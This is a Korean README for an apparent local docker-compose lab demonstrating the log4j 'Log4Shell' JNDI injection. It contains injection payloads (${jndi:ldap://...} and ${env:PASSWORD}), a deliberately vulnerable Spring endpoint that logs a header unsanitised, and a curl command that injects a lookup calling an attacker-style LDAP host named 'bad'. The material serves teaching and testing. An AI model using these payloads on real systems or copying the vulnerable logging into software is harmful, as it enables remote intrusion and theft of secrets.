
docker-compose를 활용한 이 익스플로잇 작동 방식을 보여주는 샘플 설정
이 저장소는 최근 log4j 익스플로잇을 악용하는 실제 작동 샘플을 포함하고 있습니다. 실제 원격 코드 실행을 수행하지는 않지만, 악의적인 사용자가 취약한 애플리케이션을 통해 자신의 LDAP 서버를 호출하도록 할 수 있는 쉬운 방법을 보여줍니다.
이 예제는 christophetd가 만든 훌륭한 log4j 취약 샘플 애플리케이션을 사용합니다: https://github.com/christophetd/log4shell-vulnerable-app
이 취약점은 log4j의 lookup 기능, 특히 jndi를 악용합니다. jndi는 log4j가 외부 호스트로부터 데이터를 입력받기 위해 조회(lookup)를 수행할 수 있게 합니다. 이는 환경 변수와 같은 민감한 정보를 로깅하는 것부터 원격 코드 실행까지 다양한 방식으로 악용될 수 있습니다.
로거가 호출될 때 ${}로 감싸진 모든 텍스트에 대해 조회가 수행됩니다. 예를 들어,
${jndi:ldap://someldapserver:1389/o=example}
는 해당 LDAP 서버에 주어진 쿼리로 조회를 수행하고 결과를 출력합니다.
jndi를 사용하지 않지만 여전히 위험한 더 간단한 예제:
${env:PASSWORD}
이 코드는 해당 환경 변수의 내용을 로그에 출력합니다. 이후 로그에 접근할 수 있는 사람은 애플리케이션에서 민감한 데이터를 추출할 수 있습니다.
이 익스플로잇이 악용되기 위한 log4j 코드는 매우 간단합니다. 로거를 호출하여 주어진 요청 속성을 정제되지 않은 상태로 로깅하기만 하면 됩니다. 예를 들어, User-Agent의 내용을 로깅할 수 있습니다.
...
@GetMapping("/bad")
public void Bad(@RequestHeader("User-Agent") String userAgent) {
logger.info("Received User-Agent header " + userAgent);
}
먼저 로컬 LDAP 서버를 빌드합니다:
docker build -t ldapnode .
빌드가 완료되면 다음 명령어로 전체 스택을 실행합니다:
docker-compose up
그런 다음 x-api-version 헤더를 사용하여 앱에 요청을 보내 조회를 주입할 수 있습니다:
curl --request GET \
--url http://localhost:8080/ \
--header 'x-api-version: ${jndi:ldap://bad:1389/o=example}'
해당 요청을 보내면 docker-compose 로그에서 LDAP 서버가 호출된 것을 확인할 수 있습니다:
bad_1 | ldap server has been called!
log4j_1 | 2021-12-14 02:43:11.657 INFO 1 --- [nio-8080-exec-2] HelloWorld : Received a request for API version com.sun.jndi.ldap.LdapCtx@201a609c
해결 방법은 이 문서를 참조하십시오.